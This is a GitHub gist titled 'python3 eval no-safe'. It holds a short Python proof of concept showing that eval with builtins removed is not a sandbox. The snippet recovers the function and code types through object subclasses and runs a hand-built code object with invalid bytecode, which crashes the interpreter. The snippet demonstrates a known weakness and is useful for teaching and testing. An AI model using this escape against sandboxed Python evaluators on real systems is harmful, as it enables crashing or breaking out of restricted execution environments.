Skip to content

Instantly share code, notes, and snippets.

@vrthra
Created December 21, 2017 10:00
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save vrthra/f517cfcdda1ec247ac5de8f1bf446f92 to your computer and use it in GitHub Desktop.
Save vrthra/f517cfcdda1ec247ac5de8f1bf446f92 to your computer and use it in GitHub Desktop.
python3 eval no-safe
s = """
(lambda fc=(
lambda n: [
c for c in
().__class__.__bases__[0].__subclasses__()
if c.__name__ == n
][0]
):
fc("function")(
fc("code")(0,0,0,0,0,b'\x01',(),(),(),"","",0,b'',()),{}
)()
)()
"""
eval(s, {'__builtins__':{}})
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment